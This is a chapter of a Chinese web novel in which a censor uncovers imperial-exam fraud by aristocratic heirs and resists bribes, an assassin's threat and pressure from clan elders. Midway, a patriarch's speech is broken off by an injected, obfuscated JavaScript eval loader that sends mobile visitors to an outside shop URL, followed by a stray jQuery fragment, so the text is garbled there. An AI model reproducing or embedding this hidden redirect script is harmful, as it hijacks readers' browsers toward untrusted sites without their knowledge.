顺着金银流向与密信暗脉层层深挖，陈景殊尽数摒弃旁枝末节，只死死攥住最核心的人证与物证。不过两日光景，他便从堆积如山的账目、隐晦难解的暗号与往来密札中，精准锁定了十二名涉案最深的世家子弟。
这十二人，无一不出自崔、卢、李、郑四大门阀，或为嫡长孙，或为家主心尖子，皆是京城内人人避让三分的权贵子弟。他们平日里鲜衣怒马，仆从如云，就连朝堂五品以上官员见了，也要躬身礼让三分。可在陈景殊手中的密信与供词面前，他们龌龊不堪的行径被一一扒开，赤裸裸曝晒于天光之下，再无半分遮掩。
早在春闱开考前三日，便有考生借家中长辈渠道，从考官手中窃得完整策论与经义考题，闭门死记硬背，胸有成竹踏入考场，不过走个过场便轻松登科。
甚至有考生重金买通贡院内誊录试卷的誊录官，以权势威逼、金银利诱，令其在抄写时篡改字迹、润色文章，将平庸鄙陋之作文饰成惊艳朝堂的佳篇，硬生生从落榜之列拔为高中。
还有胆大包天之人，竟在棘墙环绕的考场之内，由主考官魏文谦亲自暗递考题，或以茶水为号，或以纸条传信，全然无视考场戒律与监场御史，将天下最庄严的抡才大典，视作自家私相授受的交易场。
手段虽异，却条条触犯国法，件件践踏科举公道，将寒门士子十数年寒窗苦读踩于脚下，将王朝取士之根本视同儿戏。
陈景殊望着案头罗列齐整的铁证，指尖轻叩桌面，眼底不起半分波澜。
他自接下圣旨那刻便心知肚明，这桩案子从不是简单的考官受贿，而是世家联手操控朝政、垄断仕途的明证。他要做的，从不是浅尝辄止、草草结案，而是连根拔起，斩草除根。
即便这十二人身后，站着盘根错节百年的门阀，站着朝堂半数文武官员，站着两位虎视眈眈的皇子，他也半步不退。
他素来不畏权贵，更不接受任何暗地交易。证据确凿、人名清晰的那一刻，他没有半分迟疑，当即提笔写下拘传令，钤印御史台与钦差双重大印，下令将十二名世家子弟悉数传讯到案，直接锁入御史台诏狱，由他亲自坐镇审问。
御史台诏狱是何等地方？那是关押贪腐高官、谋逆重犯的死地，阴暗潮湿，刑具森然，平日里便是四品朝臣踏入，也要心惊胆战，更何况这些自幼锦衣玉食、从未受过半分委屈的世家公子。
消息一出，京城震动。
上至朝堂百官，下至市井百姓，无一人不被陈景殊这雷霆手段惊得瞠目结舌。谁也未曾想到，这位无门无派、无依无靠的新晋御史中丞，竟真敢对四大门阀动手，敢将高高在上的世家嫡子投入诏狱，敢在皇子与门阀的夹缝之中，硬生生撕开一道破局的裂口。
街头巷尾、茶肆酒楼之中，原本只敢低声议论的百姓，此刻纷纷扬眉吐气，对着贡院与御史台的方向连连拱手，盛赞陈景殊是当世青天，是敢为寒门士子主持公道的铁面御史；那些落榜士子更是热泪盈眶，守在御史台门外长跪不起，只求他能彻查到底，还天下读书人一个清白公道。
与之相对的，京中世家权贵彻底坐不住了。
四大门阀盘踞中原近百年，历经几代更迭而屹立不倒，势力早已渗透大靖的每一寸肌理。朝堂之上，从六部尚书到四方节度，半数皆是世家门生故吏；军中将领，半数受过世家提携恩惠；就连皇宫内苑，也安插着世家的眼线与妃嫔。他们横行霸道数十载，从未有人敢如此拂逆颜面，更无人敢动他们的核心子弟。
陈景殊这一手，无异于持刀直捅世家的心窝。
第一个按捺不住的，是大皇子萧凛桓。
他本就与崔、卢两家勾结极深，此次春闱高中的世家子弟，大半是他暗中扶持的心腹势力，本想借科举扩充班底，为夺储之路铺路，却不料被陈景殊一锅端尽。
大皇子心知肚明，一旦这十二人开口招供，牵出背后的交易与谋划，他多年布局必将毁于一旦，甚至会被父皇厌弃，彻底失去储君之位。
当日傍晚，一辆不起眼的青布马车停在陈景殊府邸门外，两名大皇子府亲信抬着一口沉甸甸的木箱，径直叩门求见。
木箱抬入正厅，开启的一瞬，金光夺目。整整百两黄金整齐码放，每一块都铸有皇家印记，在日光下晃得人睁不开眼。大皇子亲信满脸堆笑，语气带着居高临下的利诱：“陈大人，我家殿下有言，大人年轻有为，前程不可限量，何必为一群穷酸士子，得罪满朝权贵？这点薄礼，还请大人笑纳。殿下意思很简单，适可而止，放人结案，日后高官厚禄，绝不会少了大人的份。”
陈景殊立在厅中，望着满箱黄金，唇角勾起一抹冰冷弧度。他未曾伸手触碰，只抬眼看向两名亲信，声音清冽如冰：“回去转告你们家殿下，科举舞弊，祸国殃民，涉案之人，律法面前无一例外。陈某手中持的是尚方宝剑，查的是江山社稷，要的是天下公道，这黄金，陈某不敢收，也收不起。”
话音落下，他抬手一挥，门外亲卫应声而入：“将东西扔出去。今后大皇子府之人，再踏足我府一步，以干扰查案论处，直接拿下。”
亲卫毫不客气，抬箱便扔到门外长街，黄金滚落一地，引得路人纷纷驻足围观。大皇子亲信颜面尽失，狼狈不堪地仓皇离去。
利诱不成，便是威逼。
三皇子萧凛瑜素来心狠手辣，做事从不留余地。他虽与大皇子敌对，可在维护世家、阻止陈景殊查案这件事上，却是出奇的一致。得知陈景殊拒绝黄金后，他当夜便派出府中顶尖死士，潜入钦差府邸。
那夜陈景殊依旧在书房审案，烛火摇曳，案头堆满了卷宗与密信，他正低头核对供词，丝毫未察觉窗外异动。
只听“咻”的一声轻响，一道寒芒破窗而入，直直钉入他面前案头，匕首入木三分，刀柄兀自微微颤动，锋利刃口泛着冷冽杀意。匕首缠着一张字条，以鲜血写就四字：再查必死。
暗处的死士留下警告，悄无声息地退走，全程没有发出半点声响，意在告诉陈景殊，他们能轻松潜入戒备森严的钦差府邸，便能随时取他性命。
亲卫听到动静冲进来，看到案头的匕首，脸色骤变，纷纷请命搜查府邸，加强防卫。
陈景殊却连眼皮都没抬一下，他缓缓放下手中的笔，伸出两根手指，握住刀柄，轻轻一拔，便将匕首抽了出来。他指尖摩挲着冰冷的刃面，眼底没有半分惧意，只有彻骨的寒意。
下一秒，他手腕猛地用力，只听“咔嚓”一声脆响，精铁打造的匕首竟被他硬生生折断，断口尖锐，落在案上发出清脆的声响。
“威胁我？”陈景殊轻声开口，声音不大，却带着千钧之力，“三皇子也好，世家也罢，但凡敢挡在真相面前的，陈某遇神杀神，遇佛杀佛。再敢派人来，休怪陈某以刺客谋逆之罪，一查到底，绝不姑息。”
亲卫们心头一震，望着自家大人孤直挺拔的身影，无不肃然起敬。
金银利诱、匕首威逼，皆未能让陈景殊退让半步。
世家终于耗尽所有耐心，决定动用最直接的威压。
四大家族的老太爷，四位早已半隐退、连皇帝萧承曜都要敬三分的世家老太爷，竟破天荒地一同登门，亲自来到陈景殊的府邸施压。
四位老人身着锦袍，须发皆白，步履沉稳，一踏入府中，便自带一股威压天下的气势。他们坐在正厅主位，目光沉沉地看着站在下方的陈景殊，没有多余的客套，开门见山，直接抛出三重施压。
博陵崔氏老太爷率先开口，声音苍老却带着不容置疑的强势：“陈大人，你年纪轻轻，能坐到如此高位，实属不易。老夫今日来，不为别的，只为给你指一条明路。第一，家世，你陈景殊，无亲无故，无依无靠，若与世家为敌，日后在朝堂寸步难行，永无出头之日；第二，前途，只要你放手，十二名子弟即刻归家，此案不了了之，我四家联手，保你三年之内入阁拜相，位极人臣；第三，性命，你查的不是案子，是我四家的根基，真要逼急了，莫说尚方宝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618788|206144||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
剑，便是皇帝亲至，也保不住你的命。”
范阳卢氏老太爷跟着开口，语气阴鸷：“陈大人，识时务者为俊杰。天下是世家的天下，不是你一个孤臣能撼动的。你查得越狠，死得越快，何必为了一群寒门士子，赔上自己的性命与前程？”
赵郡李氏与荥阳郑氏两位老太爷也相继开口，或软硬兼施，或冷眼威胁，话里话外只有一个意思，立刻放人，停止查案，否则身死族灭，万劫不复。
四位世家老太爷联手施压，这是何等阵仗？满朝文武，别说一个小小的御史中丞，便是宰相、太傅，面对这般局面，也要低头妥协。
可陈景殊只是静静站在那里，脊背挺得笔直，如同风雪中孤直的青松，无论对方说什么，都未曾有半分动摇。
等四位老人全部说完，厅内陷入一片死寂，所有目光都落在陈景殊身上，等着他低头服软。
陈景殊缓缓抬眼，目光依次扫过四位老太爷，声音平静却字字千钧：“四位老先生，陈某今日把话放在这里。第一，陈某绝不与舞弊祸国之辈同流合污，家世清白，比什么都重要；第二，陈某的前程，是靠自己挣来的，不是靠权贵施舍，靠祸国殃民换来的高官厚禄，陈某不稀罕；第三，陈某既然接了圣旨，便早已将生死置之度外，怕死，就不会站在这里查案。”
他往前一步，周身气势陡然攀升，如利刃出鞘，直指四人：“科举是国本，士子是根基，世家操控科场，垄断仕途，欺压寒门，祸乱朝纲，陈某查的是罪，追的是法，报的是仇，无论你们用什么手段，利诱也好，威逼也罢，杀人也罢，陈某都不会退一步。”
“此案，我会一查到底，涉案之人，上至皇子，下至考官，无论身份何等尊贵，背景何等深厚，一个都跑不掉，一个都不会放过。”
话音落下，四位老太爷脸色铁青，气得浑身发抖，指着陈景殊半天说不出话来，最终只能甩袖离去，临走前留下一句冰冷的狠话：“陈景殊，你会后悔的！”
陈景殊看着四人愤然离去的背影，面上没有半分动容。
他转身回到书房，闭门谢客，拒绝一切来访，日夜坐镇御史台，亲自审问涉案考官与世家子弟，寸步不让，分毫必争。
诏狱之内，刑具森然，平日里养尊处优的世家子弟哪里见过这般阵仗，不过两轮审问，便有人心理崩溃，哭着喊着将所有事情一一招供，从如何买通考官，如何拿到考题，如何篡改试卷，到背后的金银往来、世家谋划，全部交代得一清二楚，供词与密信、账目一一对应，铁证如山。
魏文谦在确凿的证据与陈景殊步步紧逼的审问下，也终于撑不住心理防线，瘫软在地，将自己如何受命、如何透题、如何传递金银，全盘托出。
可陈景殊也清楚，对手势力滔天，远不止表面这般简单。
明枪易躲，暗箭难防。
大皇子的利诱、三皇子的刺杀、世家的施压，都只是开始。他们既然敢在科场舞弊，便敢做出更极端、更阴狠的事情。销毁证据、杀人灭口、栽赃陷害、甚至勾结藩镇构陷谋逆，一切皆有可能。
他手中的证据越多，离真相越近，离危险便越近。
他查的不仅是一桩春闱舞弊案，更是扳倒以张从安为首的世家集团的唯一机会。他是皇帝手中的孤刀，是世家眼中的死敌，是十年沉冤的唯一复仇者。
窗外夜色深沉，寒风呼啸，吹得窗棂哗哗作响。
陈景殊坐在案前，看着供词上不断向上延伸的脉络，指尖因为用力而微微泛白。
他已经嗅到了最核心的气息。
那只藏在重重帷幕之后，操控一切的老狐狸，终于要藏不住了。
他不要妥协，不要退让，不要苟且。
他要的是真相大白，律法昭彰，血债血偿。
十年隐忍，一朝出鞘，这一次，他定要掀翻这盘被世家操控的棋局，还天下士子一个公道。
哪怕前路刀山火海，万丈深渊，他也一往无前，绝不回头。